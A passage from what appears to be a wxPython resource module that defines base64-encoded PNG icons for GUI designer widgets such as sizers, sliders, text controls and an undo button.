\"IkpX6s42tWmKKEkarZ17Z+ac4+LaVJqc1fB/Z37OP3Ncf9S3w/l3Lvo252v865DrlzdYVaOj\"\n \"Aza6yyzkE652evjJyYQntx/jKJaatkfbbN16uNL43e77lUxNebP7lgJ1RInUUjGrZuzPv1FL\"\n \"RS0VhqGmDKdDvk52ABhOh6gphiEmiAn9j68ZzQ4QEwzDO0+hKGLCcTxmsD+gSvXigpkhKkRJ\"\n \"RKkxM6IkRBumqqgqnz994cWrl4yPxo1misea8dUU5xwOh5o2sdCzsxmGLeL+z8wM/qU71fxp\"\n \"w5pf48G1+6jamZkqSRNlUSImZM2URUnStJgM4O7mHZ4/fUbvUm9h7rNmQgo45wBolReocgVA\"\n \"0kTIgW67A8C8ntNtdwg5NEwCAI/ubTUbIaF5Lo349c46g70PtHxr6Yenf2ZEiSu34sfvn2TN\"\n \"S3qVa25eucFfTP0TLifzTpkAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeSeparator = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAACCAYAAABc8yy2AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDTYU4u8OWwAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAAAF0lEQVQI12Nce3/tfwYaAMYXf1/QxGAAfsIHBx4nJ1QAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeSizerFlexGrid = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"<KEY>\"\n \"f3QxdPBB58N/JgYKwcAbwDgaiKMGDIqExCggIECRCwBFqxoCQOm6JQAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeSizerGrid = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB<KEY>\"\n \"//HJMTFQCEYNYGBgHI3G0WiEGUAJAABQ2RoC2hMJYQAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeSizerGridBag = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsSAAALEgHS3X78\"\n \"AAAAB3RJTUUH1wsXDg0IyBoDdQAAAEtJREFUOMtjFBAQYPig8+E/A5mABcYQuCLAiCwREBLA\"\n \"sGHNBryaP+h8+M/EQCEYeAMYaRaIH3Q+/EcXG6aBOGoAFRISo4CAAEUuAACOExkCdACh7AAA\"\n \"AABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeSizerH = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wsXDg0Y1a0TEQAAAEVJREFUOMtjFBAQYKAEMDFQCCg2gIWBgYHhg86H/xQZ\"\n \"wMDAwCBwRYARm4IPOh/+45Mb+DAYNYAKBjAKCAhQlJAYh35mAgBtQQ7IJHdgMwAAAABJRU5E\"\n \"rkJggg==\")\n\n#----------------------------------------------------------------------\nTreeSizerV = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wsXDg0ljcVfAAAAADlJREFUOMtjFBAQYEAGH3Q+/GcgAASuCDDC2CyEFKAD\"\n \"dAuYGCgEowbgiAVionI0GodVNDKiZ2dSAQDuMhKd7SieJQAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeSlider = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAICAYAAAD9aA/QAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDiEeBf/digAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABeUlEQVQoz42Sz2tTQRSFv5l5816TxXuWxloXuhCrdVNQzLL/hP7L4jJSdKdk\"\n \"YWKQgjGk5v2auXdchCatUPDu7rmHj8Phmmk7Tdya76sZV9dX/O9453lxfMogG9zRs9vLYr1g\"\n \"EzaMn75l2Sw5PDi8F7hsloyGI+pQM/kxYfxkjLd+D57MP+2W2WrG+/N3OOvw1mONBaCXnqiR\"\n \"siipQ03u8q3HeSpX4W3O5eKSgR/uwR+mHzmpjgG47v5gjEGTIknoNQCQAIyhk54E9BqIGtGk\"\n \"3BhqadCtk/nvOdlBllMOSgCCBEQFAE1KLx0AhSsIKmgSrDF00hE17r0omc3wdtusNZbs4tnF\"\n \"Lr5GpZceZx2SlCDbxKJCG1tsYQkS0KREFSTtQ1RFuavi/PEDslcnZztwNSz5/PMLp6PntKGl\"\n \"M1t96IeklFi3a7zz1KGmCS2bvqaJDa20vHn4msIVO5b5992+/vrGfDUnaiSz2b1fcXPPXc7Z\"\n \"o5ccDY7u3P8CCPa93kLRoaQAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeSpacer = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsSAAALEgHS3X78\"\n \"AAAAB3RJTUUH1wsXDwYJXSuAHwAAAG5JREFUOMvtk7ENgDAMBM+IAX6QDEPBmBQZJoN4g1Bg\"\n \"kEBQQCgouOblL6z3SzZJePIKGHBbexZMRYQJYMM4kKe8zWfqya0Lo/KM2h0236U9gUWJPGUt\"\n \"sapod4YnJ4q9xJN/oIM/wQsJrPUbTRItzCrJLwrVI82eAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nTreeSpinButton = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAAAgAAAAQCAYAAAArij59AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDhkmOmLZ7wAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABBklEQVQoz22Rz0oCcRSFvxl/YwpjVgS5GRF7hAiindBTiBC9Sz1A+AARRO9Q\"\n \"BG16CFu4NSVX/llM+LunxYyJTvfu7v3gnHNvcPtxp/bxKYUKRLVcxSWHCZfti8LezHj5fMUJ\"\n \"WJkHtAVIAoEDYTJMnoe3RwBurq4JCBDC5ThP78/c9/sARKWIXqcLkAFC9Drdv+F6lktketr1\"\n \"kLfLwCKwLifE12yMye8eYmOyUTv5V2IwGWxMjmYj5ukCgNpeTGO/AUC4Nlmv1BnPJ3wvpzQP\"\n \"moSEGwkhKlGF8+SMuBzj5fHyWUzllxQiKkWkPt2OaTKWP0sMK/zCMNxwOmSRzncSBoRhSOuo\"\n \"xS+qlIjuQyw/7wAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeSpinCtrl = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAQCAYAAAAS7Y8mAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDQMVN9n8ewAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABmUlEQVQ4y6WUTUsbURSGn7m5TkRNo6LiQkahKaXi0orob9CVSPEnCF22KriW\"\n \"rqQ/oKsuxG0hmxYVsuiqVAy4UAkaVNQqCdQZdPIx97gRjUwWk+S93M058JyXwznHSp+m5cr9\"\n \"h7JiNKLz4hmpvjehuKXA1jb62rtm9t0MjWrnaIfp19MEEoRyPw9/oUHRrAIJqJpq2LWoFqiA\"\n \"iGCM4W9+l0/flqmYKsYYQNCtgvPFPIurHylcFkh2vWJlfukl2IhhI7OJbdvMT81Fhju9Dr+/\"\n \"Z56LIQg1Dd7IbDLsOKBh62A7mmMEkTq/Fpzdz/LeGWfy7QR7f7LRwXUeUtOKREeC29Itbskj\"\n \"2Z+MBHZ9l8JdoW7uCbww+4H1H1/xSz7Lc58jgRPxBLa2Q/HcTe4ZnOpL8WVhrbGpQHDLLhf/\"\n \"LwGI6zjDPQ4itD7HnW2d3FfuOCmeMNIzgrIUUtuKpuEIY4NjjA6MElOKclBufUEMBiPm8fhY\"\n \"+FX/qZgG0zTYr/h4Fa/uDbHSp2nxfA+tGjOfuzmmvS08ESoWY6h7iAfDaL5HCRgjkAAAAABJ\"\n \"RU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeSplitterWindow = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAIAAABL1vtsAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDiYubGd74QAAAfFJREFUOMvdlEtvEzEQx21nN2ojoHk0IoiGtqr6ONBT\"\n \"uVAQ3OBTIO7wneCTwA0kOBVUKlBIadKiKPtqNptdv8ZjDgEURZtKCTf+N3tmfv7bHg19dfS6\"\n \"UW6QRXUWnjnrtfXN+sbCCLSGkX/Wf4Nwcne9zDv6+UkZlSnONReKLxWXnx88m8NFK2jdax6s\"\n \"lW83btxcvVZbKa2ESdgb9eZwIUAKELEYxjyOeRwmUZzGG<KEY>\"\n \"<KEY>\"\n \"v+w37vppwHVGCW37p0ESCik0/PZvrLHWAgIgoMWci0gt0WKqRqnKmrW1z91jIfmdetNYdJlr\"\n \"iUWL2mgBwhILCDkIAUKASORokA2iNFq9XtMl/fLhC0LIu+57aSTXHBAssZRQhxVyEEESDEXS\"\n \"H/Yv04ECpUH/dUsplSDHJ1NCGWVuoZiDSGXmjbwgCRUobbQxxnXccWivvtuO2owySiilrMAK\"\n \"m5WNHMROY/tD++P4RRCRMfZ479E4VF2qVm9VZzU4fXP+NndeaITihFs78QWTOumdOLPYLnNm\"\n \"lV3VnZTQyaUldtrzn4TJkHN1zZRyE5xO1BHAFx4W59HFL52bPckdnR6/AAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nTreeStaticBitmap = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAAA4AAAASCAYAAABrXO8xAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDhwKdc1BSQAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAACsUlEQVQ4y2WTy49URRTGf/W4t4e2u8f00E0UZZgHCAECwWAiJsYHklE0UWNM\"\n \"YAEJceGCsCNhR/gzSFy4IERhCSqJRCTIZgSJCS6E7llglBnnAZluw517q85hcRlH8CS1q993\"\n \"qr7zHTOVTamiAIgqiqIqPF3GWAwGawwAfhmKKgQp+OrmWfpZn6zISFxC6lOiRN7f+h5rG2sB\"\n \"V4LL0Ex/mtOTZ/hox4e0a61STCJBAlnIuHDrW0ZWr2fPhrdxxmNFlSw85PTkGT7bfZjnG8+R\"\n \"upTEJiQuwVtPxVf4YNs+phdnuP7nDUQjVjTy9c1zfLLzYyq+QmITKm6A1KU443DWYY3FGssb\"\n \"46/z0+1rKIoFyIqM5qrm489bvHVY4zCPjfhvDdWHuD13pwRDDIgKokLUSC/vEaRAVFDVlYMy\"\n \"1hqlM9cpQW8dUUsjFpcWudz5kQfZA6JEugtdpnvTKyIoSyEvxyGqRIkAqCpRI1e6V2k+8yy9\"\n \"rE+73qYx0CCqMNubY2RofdlRUQopKGKBotQqNTa2xzHGUh+o0661CBKIErk7f5eta7ZgDYa9\"\n \"m9/h0u8/UMSCPOZU0yrNapOx5igDvgJAkMj9hwsMVht467HWOEabI0QJdOa75CEnSiAPOYUU\"\n \"BIkUMZCHJS79dpkDO/djjSufao3j0K6D3JnpcOOPX8qLsSCPBUECs//Mcv7Xbzj82iESl2Aw\"\n \"mG7WVVFFNCIqnDh/ksQnvLt9glpa47tbF7l6/RpfHv2CRqVRzhdTZrVMvENRhtvDDA+tY3Lq\"\n \"ZxRlfM0Y+rJST+v/QtYYvMGwvCHWOF5svsBSyHlr05t46wkSmOvP46zHGVuu2HLHUgVE4ZV1\"\n \"u/j81BE2jW1ksDrIX/P32Lt9zxMQUJqzAhta1RbHPz3G3wuzXLzyPbs3v8rESxP/y+wjHwdM\"\n \"yMvIwOAAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeStaticBox = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDgoZ7eu1QAAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABtElEQVQoz4WQz2sTQRiGn5lsQhvUNkmLERvRQ38c9FQvVtGb/hXiXf9OBT2p\"\n \"VFBiUgxIye5mm81md2Z3Zmc8RKNUwef2vfA+vHxirMeePwiLkPffP1DVFUWlUEahK8VGa5MX\"\n \"x8+5jLwcDOMh9wfH7G3fpH/tOjtXemy1t5hlM86X538JgsuBtiXaalK9IFUpqUqZZQlpnmKc\"\n \"+b9A/ZydqpQwiwjnIa2gxcnBA6ZZSFIkOO9w3tHZ7BBERcQ4OcM6g6ktw+lXOu1tvsUTkuUF\"\n \"pdE8PDzh2f5TcpOvy847PkdfCE6nn7jXv0uUxyhTIBCMojFxNkOXGmN/z659jfce6yzWWZx3\"\n \"BKUpcd6RV0vyqmDQ2+Pj5BRdKm7tDqi9oymbeDzOO0xt0FbjWYkCbTXaarJyybyYk+QJO1d7\"\n \"mLbh1aOXALyevKGsS5RRWGfxeASCQDYI4ixmoTOmiykX+ZzKVhhrcN6tpwshKG2JdXZ1I5BC\"\n \"0my0CPKyIFyGxNlsVa4NdV3TDJprwdHuIaNkhBQSgUAISUM2uNO5TXDQ3+ft6B2/fuGcQ0rJ\"\n \"k6PHa0F3o0v3Rpd/8QPZ/Bl4qenM9gAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeStaticBoxSizerH = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wsXDg4M5FqUrwAAAFJJREFUOMtjFBAQYKAEMKELfND58J9sAz7ofPgvcEWA\"\n \"kRRDWJA1oruAGINY0AWQXQBjwwzH5l0mdM3INFmBSHEsjBpAOmAUEBAgOfliGDC0wwAA8pIl\"\n \"0wUY404AAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeStaticBoxSizerV = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wsXDg4eF+Pl5wAAAFRJREFUOMtjFBAQYMAFPuh8+C9wRYCRAQ9gIqT5g86H\"\n \"/yQZgKwBnQ3DRLmAgYGBAdn5AlcEGLF5h4mQZrLDgFgwDAxgwZUGKDIAX8iTlA5GY4E4AABb\"\n \"Fil3I9jn1wAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeStaticLine = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAACCAYAAABc8yy2AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"<KEY>\"\n \"TVDvZCVuAAAAF0lEQVQI12Nce3/tfwYaAMYXf1/QxGAAfsIHBx4nJ1QAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeStaticText = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAICAYAAAD9aA/QAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"<KEY>\"\n \"TVDvZCVuAAACAUlEQVQoz42QW0iTcRjGfxv/LxTL0oJBBFGODhdWFIWyrorUm6ItS2jpYlkZ\"\n \"i0CoG4luUjPXASQ7iKUJCYElo9bhomarLMhsbjhP7cOg1tRAdKO21P27WH3QnT944YHnfR8e\"\n \"Xp0aVyV/qX5ey536VgB63O/JTssGoC/Sh9m6n30OC05LHfNB/0+EJkO0NrRpxsD4oKb7I0EA\"\n \"jMtzmC9a8I2XTSR/J7FWHgTg80RIWxr5ntKRyTG2nsxnfUkut941af5UYorzz2rYXLGNnKK1\"\n \"5FVuTwV/+NbDw+udHHAUU5C7E4DR8S/aoX84AEDsZ5RTdgdSwsVzlwjHwiTmEtgaj9By+S4W\"\n \"814u1NdQtKsAAdDgvgZCx54tu0kXaQCoX1UAZpIzBDwBstZkUWuuRtErvCjswtvuZSI2wevQ\"\n \"G/xuP7bTpZwtrEo12QDCPfSEt/e7ATh02Ka1/OjthaMw+GOI2egs+SV5KHqFxFyCT90+xCKB\"\n \"cakRl+8RAKsNq/77sXC2XUFkKlytc6LoFQAaXTcJPA0QjoUJRgYA8LhfcW9dO70hH9HRaSqq\"\n \"jpGhZGBYYgCguaMFoRdMx6NsWrERMAlp67RLNa5qY+0ok5iEbA7elnZXucQkpN1VLheXLZNp\"\n \"5oXy+OMTcvjXiFTjquyP9cvSBzaZXpwpdTsWyJVnjNIz5pF/AHm51hdHwnK2AAAAAElFTkSu\"\n \"QmCC\")\n\n#----------------------------------------------------------------------\nTreeTextCtrl = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAQCAYAAAAS7Y8mAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDQIL1M3wWQAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAAAYElEQVQ4y+3MoRWAMAwFwJ82AkEtzMAwMG00TIKpgloqENBgGCE8TG+AI4mi\"\n \"27HDkYcF1YI+dOCUE6ZhhKV5XeAAB2tM/oP1VeMa1/inuJinl94giaL5zGDHNmm50DYBD+9q\"\n \"HJo8ucgXAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nTreeToggleButton = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAQCAYAAAAS7Y8mAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"<KEY>\"\n \"TVDvZCVuAAAA80lEQVQ4y9XSvUoDYRCF4Xdnxywp1kWxW+ETK9Nkg3gTdgqCjT83JN6AP4Vg\"\n \"IYIoFhZego0bJLFLhKhFUMEizW6+tbfQwknhaWd4OAwTXPavqt5bj7H3WERDZWHWof33J7K0\"\n \"iYhglc5rFy3HJSJCGIRmsPceu5rfMjFYfxred3Pyxza+9IgK2VKTViP7e+NWI2N3fZvh55Cd\"\n \"tS3iuZiT61MGH892pyh8wdntOZurGxzeHNvBo2LEdBkTaUStqNnBSZRQd3UOLo6YX0x/3Q/2\"\n \"7varFbds+sf5oP0P/3hy8JSqPRoK6mYcDy8dqCoTNJCANEn5Am64QzC1J/rQAAAAAElFTkSu\"\n \"QmCC\")\n\n#----------------------------------------------------------------------\nTreeTool = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAAAsAAAAJCAYAAADkZNYtAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDRwXFI2TyQAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABPElEQVQY0z3QUUrjQACA4T+dSdMmCK6NiqmKstYK+moF8UHxBOJZ9Gh7lFUR\"\n \"DS6UZWts09pMQiYzs0/6HeHzntWzq3TF0/sToR9xuDFAG01WZLwvM062jpEtCYB39+vehX7E\"\n \"fn+Pl/Er1lq8NoStECdgPYhJegkOiwx0h+vTKxrT0P+RoE1DbWq00SzKBb//PPDxOeX1X4r0\"\n \"e5K8nFPUBc5ZfOHT9UOidkgc9UhWE8bTMZ4AaZwhL3NKXXK0McQBZa1QusRYg3WGt+yNy4NL\"\n \"ZCADZmpGHMXMqwXGNhhnsc7Q2AZVlyyXBbvxDjJfzrHOcbD+E1UrGttQG02lK3I15yF95GJ4\"\n \"jvAEUgpBt92lqBUzNeXlb0qWZwSiTX9lm9vRDcPNQwCksJLJZEI6SVlrrXE2GDGIB3T84Pv3\"\n \"y38ceKGMmSSP8gAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeToolBar = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAJCAYAAAA2NNx1AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDRstncDcvAAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAACS0lEQVQoz1WSzW4TZxiFn/HMeDweUUHiJopT00AJCbRSs0i7KJUIYoGQYAHc\"\n \"TgT3AZvS3EQr0bQLftQVqio5RmmwSJVWVSaJnXpm7O/nfVkQkDjS2RwdHZ3FE2yX<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"CLWgRhxG6ESJ4umIQTWkMAWqQhzGpHGTrN6klU3TPt1m73CPIIQ0TlFVakGAIFixWLHvHn+w\"\n \"R0SIvHoG1YDKVizPLKFAZUpKW+HFI+p5k79h7cIaAOI9xluMM9SCEHcy7NXjxGGdRVSIkijh\"\n \"qDyilbUYjo/x4vAqyEmxNBWjUcHZVudkWKhMyebOr5STkuHoGCcOEUEDoZyU7x4PRkNElQuf\"\n \"fkFpSpw4jLeM7ZhBOWSr3+P7pe8IgxAAZz0Ta9gf5VyaWWbX7bL6+SoH5QGPn26QNlK8eqIo\"\n \"DEnrKYUpOSoP2fm3Tz7IScI686c+4963d1iavfgBt5tXbvDyn5d02h2cOrp7W1zqLJM0Ehpx\"\n \"AxFBVAnWn9xXYwwFBVO1KVYWv2axtUgjTj7i971EhV+6mzzpbZLVMyJCwlrI2Ezo/d0jzVJS\"\n \"Ut4Cv35XCWG/LuAAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeTreeCtrl = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"<KEY>\"\n \"TVDvZCVuAAABtElEQVQoz4WQz2sTQRiGn5lsQhvUNkmLERvRQ38c9FQvVtGb/hXiXf9OBT2p\"\n \"VFBiUgxIye5mm81md2Z3Zmc8RKNUwef2vfA+vHxirMeePwiLkPffP1DVFUWlUEahK8VGa5MX\"\n \"x8+5jLwcDOMh9wfH7G3fpH/tOjtXemy1t5hlM86X538JgsuBtiXaalK9IFUpqUqZZQlpnmKc\"\n \"+b9A/ZydqpQwiwjnIa2gxcnBA6ZZSFIkOO9w3tHZ7BBERcQ4OcM6g6ktw+lXOu1tvsUTkuUF\"\n \"pdE8PDzh2f5TcpOvy847PkdfCE6nn7jXv0uUxyhTIBCMojFxNkOXGmN/z659jfce6yzWWZx3\"\n \"BKUpcd6RV0vyqmDQ2+Pj5BRdKm7tDqi9oymbeDzOO0xt0FbjWYkCbTXaarJyybyYk+QJO1d7\"\n \"mLbh1aOXALyevKGsS5RRWGfxeASCQDYI4ixmoTOmiykX+ZzKVhhrcN6tpwshKG2JdXZ1I5BC\"\n \"0my0CPKyIFyGxNlsVa4NdV3TDJprwdHuIaNkhBQSgUAISUM2uNO5TXDQ3+ft6B2/fuGcQ0rJ\"\n \"k6PHa0F3o0v3Rpd/8QPZ/Bl4qenM9gAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeWizard = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAIAAABL1vtsAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDwEvwGeTJQAAAqNJREFUOMudk0tPU1EQx+ece24LxT6gb2xpMSqPgisJ\"\n \"JBoSH1E/AIJK3Lg00Y36BUB8xLXRjbhRF8bgiw0LXfhIBBSJoERQ6StcbHtb+6Dt7T33HBck\"\n \"xGADlMmsZia//P8zGfQq8npk6mmVvkrVVNhalKgKnAMA59C7v0eo7jY4bA6MsbHGaDXVlbjq\"\n \"sjhNNSZEcLW+CgRkNBh1OhERTERCRMIRs5mt9dZ6m9lGgb77/p4AgkwhncuvxFOJxp1+AN5Y\"\n \"65cyv+21djkvd/pasoWsnJcNOoOcT9oM1lnpq0JLXd5OKbscksMcAWacIYQ7/B2+uganyakx\"\n \"lilkBcDBRAhzHE/H5VwyU8gWS8VEOkE1CgCU0qno56W0pGoq44xoTOOcx1ZiXpc3+ida0koT\"\n \"kUnOOUZYykmr5hEgDhwhFMvGFKqoVJ0pzAIAQkjVVDQ8fd9lccF2IygHic/qa7T7t41gXMNl\"\n \"G6li6uXEaGwlzjijjG5MKY/QC/rbD+/cezOMEX4xPXr+7oUNEKRsVcBCg62hzRsYfD5k1pt3\"\n \"6GoqQyiaMj4/7va4A55Au6ctmopykVWGePD20bw0f/jAoUwxQzBhwBbDIQCgGiUC2XwXX5Zm\"\n \"EssJnUH/YXI8kook80lFU1qbmo9cPj7y8ZlClc1V7Ktvbz3ZomhK37V+i8NCNTofXggHIyc6\"\n \"jvV29mzVCBGIIAjdXQe/heZ+zi06/HaRiFf6LlV2VATIX+vvP3r6+sXBjJw2u819t85UdlQA\"\n \"WJPdtjvwQ/qVTqQrUwEAKqMIYYTwzbM3VKXk2eV5PPGEA68AIWLCOVvNq+cGcvnc2KexhdjC\"\n \"JggE6N9cqzc7m/a69+SLhSVJWtdav4uyOgFAFMShUwMAwDn/f4aEkqEiLWz72SPJ6F8fukGl\"\n \"454ftwAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nUndo = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABmJLR0QA/wD/AP+gvaeTAAAA\"\n \"CXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1gcaCjgAnz8HVAAAA4BJREFUOMutlF9oW1Uc\"\n \"x7/n/slNe5u0qY3NXeyfdOlcdT7MlyJbhdWiosiK+jKRMcqEPu1R8UVBpj6Kij44KKEvGxOh\"\n \"ogzELVtjdOZh08kE3azapH+SdclC/t7knnuOD55bLlkaoXjgx7333B+f8z3f3+8coMO4dG7s\"\n \"ZDIGjl0MaacfSwtDRzTzzzPY5ZB2gg5Imfjks8/gfwNvQ2fGAXtt12BlJ6jFR6Aq3QB+RTIG\"\n \"<KEY>\"\n \"+kMiyUodwRcWRw4FkF6enBlH3RqD5D0IAOBQAckApAEo2h7oPWx4dN/Dj6oa3T/A7z0ZnlCv\"\n \"JZJssy340tm9x3X611eTM+OoWSOQiAJZ0VwpNqxmGY16Dpn0VXB4ofv9xB8cDnuraXv0gHol\"\n \"kWRWK5gAwJcLQ0ceEDaYNArAAogXtcoG8lu/3F8YBRh86Glc//7Hn+vlQuq5ecy3Bbd6nLvT\"\n \"RKm0jvFoBJBDAADTrKNaycKsFEAUAk/XEBrWfqxcW7r51Ek8tmNXzM5lLi8tDE1fjW/Gn5g2\"\n \"UBM1T33z3XZyifcgZAzz3r51gkYJeg8FPMFRYKtzH8/OZS4XaGA6dfE2IpHI9vzhEyCHT4AU\"\n \"yt5jxfzdrXp1kNvUBocFi8k9NHfUoLmjRscDMjuXubJWN55PXbwNKGPuPOnVU3fPZwvktfX1\"\n \"IrSuXk6tPGe2Ccq8oMz7nydRBqAufhR6IRkDF5eQxxXqt7FAMf/7AfuPVIhe+MzH3bVqVUwc\"\n \"VcJ3z/FT2fjN3OBL4r8brMmEQ5LUZqnc3bTtxqYQI7UrngNWRZICQJp/I7cMYACA162qzrQs\"\n \"UXSjnP9NsihZFQtSEcwBkzaKFZcK550AIGdO9876fCTUpOrG2iYLVouNcwC6AdQFlAPgSktP\"\n \"ty6iunYh+3xQovv0NyPRWvaLz5fVOzn+7tsf4msA2r+nCpYDl1ugkvtiEnMyABKNSvriB4FP\"\n \"An1mOb5csTdW2VvvfIqE2L4DdazgpMVjxeWxrKpQpg5pgamDsuHXWb9XsyeqNSq9/j6PiS3b\"\n \"IpoiqPhmjsd45ZiHdHVxj2kq5NYtxmybEXDYL09Zen8/C66krfTfK7jx8VncE1AIdcy1gOPx\"\n \"ff1H2nhNWu4V58ldwdyFA4B/ANW9dTHXQUUsAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nIcon = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABHNCSVQICAgIfAhkiAAABOVJ\"\n \"REFUWIWllmtsU2UYx3/n0na9nLbboLvgLt2F4RxCDEgmJIoxaDRigiwIJn7VqAkJMTFRPxpi\"\n \"<KEY>mOIMUgEIsgHox/Q6GCMyyAhJDA3xmDretu605527TmvHxYqZd3Wdk9yPpzL8///\"\n \"3ue87/O+SLLCctfR748JSVY4dfac+Hvgshi4OiRKySvpkmSFYvHH+T+FpmkAaLLAUbMaNyZx\"\n \"Q8chZIYnw7z0wvNS0eQyQgU49uNxEQwG8apgU1WqqqowZDseyWQmJ0jGwtx+MIWu60QiYTrb\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"d/ebUn4SHvnmW/Go4IfvvZs37KqpFq11Dbj9Gif7LxYFOXjosOjt7cWyTCzL4vyFG1y6Oc6G\"\n 